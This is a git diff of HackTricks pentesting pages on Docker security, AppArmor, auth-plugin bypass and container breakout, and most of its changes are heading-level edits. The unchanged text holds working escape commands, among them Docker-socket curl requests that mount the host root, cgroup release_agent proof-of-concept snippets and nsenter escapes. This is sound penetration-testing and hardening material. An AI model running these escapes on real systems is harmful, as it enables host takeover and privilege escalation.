current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. @@ -196,9 +194,9 @@ An authorization plugin **approves** or **denies** **requests** to the Docker ** [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Interesting Docker Flags +# Interesting Docker Flags -### --privileged flag +## --privileged flag In the following page you can learn **what does the `--privileged` flag imply**: @@ -206,9 +204,9 @@ In the following page you can learn **what does the `--privileged` flag imply**: [docker-privileged.md](docker-privileged.md) {% endcontent-ref %} -### --security-opt +## --security-opt -#### no-new-privileges +### no-new-privileges If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. @@ -218,7 +216,7 @@ Running the container with the **`no-new-privileges`** option enabled will **pre docker run -it --security-opt=no-new-privileges:true nonewpriv ``` -#### Other +### Other ```bash #You can manually add/drop capabilities with @@ -237,9 +235,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -## Other Security Considerations +# Other Security Considerations -### Managing Secrets +## Managing Secrets First of all, **do not put them inside your image!** @@ -292,19 +290,19 @@ Then start Compose as usual with `docker-compose up --build my_service`. If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams. -### gVisor +## gVisor **gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. {% embed url="https://github.com/google/gvisor" %} -### Kata Containers +## Kata Containers **Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. {% embed url="https://katacontainers.io/" %} -### Summary Tips +## Summary Tips * **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. * Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. @@ -321,7 +319,7 @@ If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration * **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. * Have **smaller** container **images** -## Docker Breakout / Privilege Escalation +# Docker Breakout / Privilege Escalation If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: @@ -329,7 +327,7 @@ If you are **inside a docker container** or you have access to a user in the **d [docker-breakout-privilege-escalation.md](docker-breakout-privilege-escalation.md) {% endcontent-ref %} -## Docker Authentication Plugin Bypass +# Docker Authentication Plugin Bypass If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** @@ -337,12 +335,12 @@ If you have access to the docker socket or have access to a user in the **docker [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Hardening Docker +# Hardening Docker * The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -## References +# References * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) diff --git a/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md b/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md index 71e0123a..587790fd 100644 --- a/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md +++ b/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Abusing Docker Socket for Privilege Escalation - There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: -### Via mount +## Via mount You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ You could also **abuse a mount to escalate privileges** inside the container. @@ -49,12 +47,12 @@ Note that maybe you cannot mount the folder `/tmp` but you can mount a **differe Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) {% endhint %} -### Escaping from the container +## Escaping from the container * **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation.md#automatic-enumeration-and-escape). * **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. -### Curl +## Curl In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: diff --git a/linux-unix/privilege-escalation/docker-breakout/apparmor.md b/linux-unix/privilege-escalation/docker-breakout/apparmor.md index e91df55f..8e73b665 100644 --- a/linux-unix/privilege-escalation/docker-breakout/apparmor.md +++ b/linux-unix/privilege-escalation/docker-breakout/apparmor.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# AppArmor - -## Basic Information +# Basic Information **AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources** with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. @@ -32,21 +30,21 @@ AppArmor profiles can be in one of **two modes**: AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. -### Parts of AppArmor +## Parts of AppArmor * **Kernel module**: Does the actual work * **Policies**: Defines the behaviour and containment * **Parser**: Loads the policies into kernel * **Utilities**: Usermode programs to interact with apparmor -### Profiles path +## Profiles path Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ -### Commands +## Commands ```bash aa-status #check the current status @@ -58,7 +56,7 @@ aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` -## Creating a profile +# Creating a profile * In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. * To indicate the access the binary will have over **files** the following **access controls** can be used: @@ -74,7 +72,7 @@ aa-mergeprof #used to merge the policies * **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) * **Deny rules are supported to override allow rules**. -### aa-genprof +## aa-genprof To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ You just need to run: @@ -95,7 +93,7 @@ Then, in the first console press "**s**" and then in the recorded actions indica Using the arrow keys you can select what you want to allow/deny/whatever {% endhint %} -### aa-easyprof +## aa-easyprof You can also create a template of an apparmor profile of a binary with: @@ -134,7 +132,7 @@ You can then **enforce** the new profile with sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### Modifying a profile from logs +## Modifying a profile from logs The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: @@ -146,7 +144,7 @@ sudo aa-logprof Using the arrow keys you can select what you want to allow/deny/whatever {% endhint %} -### Managing a Profile +## Managing a Profile ```bash #Main profile management commands @@ -156,7 +154,7 @@ apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## Logs +# Logs Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: @@ -185,7 +183,7 @@ AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## Apparmor in Docker +# Apparmor in Docker Note how the profile **docker-profile** of docker is loaded by default: @@ -249,7 +247,7 @@ Note that you can **add/remove** **capabilities** to the docker container (this Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. {% endhint %} -### Example +## Example (Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) @@ -279,7 +277,7 @@ $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost b chmod: /etc/hostname: Permission denied ``` -### AppArmor Docker Bypass1 +## AppArmor Docker Bypass1 You can find which **apparmor profile is running a container** using: @@ -297,11 +295,11 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. -### AppArmor Docker Bypass2 +## AppArmor Docker Bypass2 **AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. -### AppArmor Shebang Bypass +## AppArmor Shebang Bypass In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: diff --git a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md index 6ac40b7b..b6ee9454 100644 --- a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md +++ b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# AuthZ& AuthN - Docker Access Authorization Plugin - **Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. -## Basic architecture +# Basic architecture Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. @@ -39,13 +37,13 @@ For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), s During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. -### Several Plugins +## Several Plugins You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. -## Plugin Examples +# Plugin Examples -### Twistlock AuthZ Broker +## Twistlock AuthZ Broker The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. @@ -53,29 +51,29 @@ This is an example that will allow Alice and Bob can create new containers: `{"n In the page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action -### Simple Plugin Tutorial +## Simple Plugin Tutorial You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) Read the `README` and the `plugin.go` code to understand how is it working. -## Docker Auth Plugin Bypass +# Docker Auth Plugin Bypass -### Enumerate access +## Enumerate access The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.** -### disallowed `run --privileged` +## disallowed `run --privileged` -#### Minimum Privileges +### Minimum Privileges ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` -#### Running a container and then getting a privileged session +### Running a container and then getting a privileged session In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: @@ -101,7 +99,7 @@ docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a3 Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. -### Mount Writable Folder +## Mount Writable Folder In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: @@ -122,15 +120,15 @@ Note that maybe you cannot mount the folder `/tmp` but you can mount a **differe Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) {% endhint %} -### Unchecked API Endpoint +## Unchecked API Endpoint The of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -### Unchecked JSON Structure +## Unchecked JSON Structure -#### Binds in root +### Binds in root It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: @@ -149,7 +147,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** {% endhint %} -#### Binds in HostConfig +### Binds in HostConfig Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: @@ -157,7 +155,7 @@ Follow the same instruction as with **Binds in root** performing this **request* curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` -#### Mounts in root +### Mounts in root Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: @@ -165,7 +163,7 @@ Follow the same instruction as with **Binds in root** performing this **request* curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` -#### Mounts in HostConfig +### Mounts in HostConfig Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: @@ -173,7 +171,7 @@ Follow the same instruction as with **Binds in root** performing this **request* curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` -### Unchecked JSON Attribute +## Unchecked JSON Attribute It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability: @@ -191,7 +189,7 @@ capsh --print The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. {% endhint %} -### Disabling Plugin +## Disabling Plugin If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! @@ -209,11 +207,11 @@ docker plugin enable authobot Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! -### Auth Plugin Bypass writeups +## Auth Plugin Bypass writeups * [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) -## References +# References * [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md index d5c8ed70..a904299b 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker Breakout / Privilege Escalation - -## Automatic Enumeration & Escape +# Automatic Enumeration & Escape * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** @@ -27,7 +25,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers * [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image -## Mounted Docker Socket Escape +# Mounted Docker Socket Escape If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. @@ -64,7 +62,7 @@ Additionally, pay attention to the runtime sockets of other high-level runtimes: * ... {% endhint %} -## Capabilities Abuse Escape +# Capabilities Abuse Escape You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** @@ -80,7 +78,7 @@ In the following page you can **learn more about linux capabilities** and how to [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -## Escape from Privileged Containers +# Escape from Privileged Containers A privileged container can be created with the flag `--privileged` or disabling specific defenses: @@ -99,7 +97,7 @@ The `--privileged` flag introduces significant security concerns, and the exploi [docker-privileged.md](docker-privileged.md) {% endcontent-ref %} -### Privileged + hostPID +## Privileged + hostPID With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` @@ -109,7 +107,7 @@ Test it in a container executing: docker run --rm -it --pid=host --privileged ubuntu bash ``` -### Privileged +## Privileged Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. @@ -119,7 +117,7 @@ Test the following bypasses in a container executing: docker run --rm -it --privileged ubuntu bash ``` -#### Mounting Disk - Poc1 +### Mounting Disk - Poc1 Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. @@ -134,15 +132,15 @@ mount /dev/sda1 /mnt/hola And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. -#### Mounting Disk - Poc2 +### Mounting Disk - Poc2 Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: ```bash -#### Check if You Can Write to a File-system +### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger -#### Check root UUID +### Check root UUID cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300 @@ -155,11 +153,11 @@ mkdir /mnt-test mount /dev/sda1 /mnt-test mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. -#### debugfs (Interactive File System Debugger) +### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### Privileged Escape Abusing release\_agent - PoC1 +### Privileged Escape Abusing release\_agent - PoC1 {% code title="Initial PoC" %} ```bash @@ -167,7 +165,7 @@ debugfs /dev/sda1 # docker run --rm -it --privileged ubuntu bash # Finds + enables a cgroup release_agent -## Looks for something like: /sys/fs/cgroup/*/release_agent +# Looks for something like: /sys/fs/cgroup/*/release_agent d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` # If "d" is empty, this won't work, you need to use the next PoC @@ -197,7 +195,7 @@ cat /o ``` {% endcode %} -#### Privileged Escape Abusing release\_agent - PoC2 +### Privileged Escape Abusing release\_agent - PoC2 {% code title="Second PoC" %} ```bash @@ -249,7 +247,7 @@ Find an **explanation of the technique** in: [docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Privileged Escape Abusing release\_agent without known the relative path - PoC3 +### Privileged Escape Abusing release\_agent without known the relative path - PoC3 In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique: @@ -347,7 +345,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### Privileged Escape Abusing Sensitive Mounts +### Privileged Escape Abusing Sensitive Mounts There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ The abuse of these files may allow that: @@ -364,7 +362,7 @@ However, you can find **other sensitive files** to check for in this page: [sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md) {% endcontent-ref %} -### Arbitrary Mounts +## Arbitrary Mounts In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… @@ -372,7 +370,7 @@ In several occasions you will find that the **container has some volume mounted docker run --rm -it -v /:/host ubuntu bash ``` -### hostPID +## hostPID If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: @@ -411,7 +409,7 @@ You can also **kill processes and cause a DoS**. If you somehow has privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** {% endhint %} -### hostNetwork +## hostNetwork ``` docker run --rm -it --network=host ubuntu bash @@ -432,7 +430,7 @@ You will be able also to access **network services binded to localhost** inside [kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) {% endcontent-ref %} -### hostIPC +## hostIPC ``` docker run --rm -it --ipc=host ubuntu bash @@ -443,9 +441,9 @@ If you only have `hostIPC=true`, you most likely can't do much. If any process o * **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` * **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` -## CVEs +# CVEs -### Runc exploit (CVE-2019-5736) +## Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. @@ -462,9 +460,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} -## Breakout Templates +# Breakout Templates -### Container Breakout through Usermode helper Template +## Container Breakout through Usermode helper Template If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): @@ -476,7 +474,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * Have **enough capabilities and disabled protections** to be able to abuse that functionality * You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container -## References +# References * [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 688f3d54..18b749b1 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker release\_agent cgroups escape - -### Breaking down the proof of concept +## Breaking down the proof of concept To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. @@ -86,7 +84,7 @@ root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` -### References +## References * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 4b83adb3..f42ecb65 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# release\_agent exploit - Relative Paths to PIDs - -## Introduction +# Introduction The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**. In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a -### Examples of container not exposing the path location inside the host +## Examples of container not exposing the path location inside the host -#### Kata Containers +### Kata Containers ``` root@container:~$ head -1 /etc/mtab @@ -36,7 +34,7 @@ kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virt [Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. -#### Device Mapper +### Device Mapper ``` root@container:~$ head -1 /etc/mtab @@ -45,11 +43,11 @@ root@container:~$ head -1 /etc/mtab I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. -## PoC +# PoC The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere. -### /proc/\/root +## /proc/\/root The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container @@ -101,7 +99,7 @@ findme **This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.** {% endhint %} -### Pid Bashing +## Pid Bashing This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**: @@ -121,7 +119,7 @@ root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` -### Putting it All Together +## Putting it All Together To complete this attack the brute force technique can be used to **guess the PID for the path `/proc//root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created. @@ -219,7 +217,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -## References +# References * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md 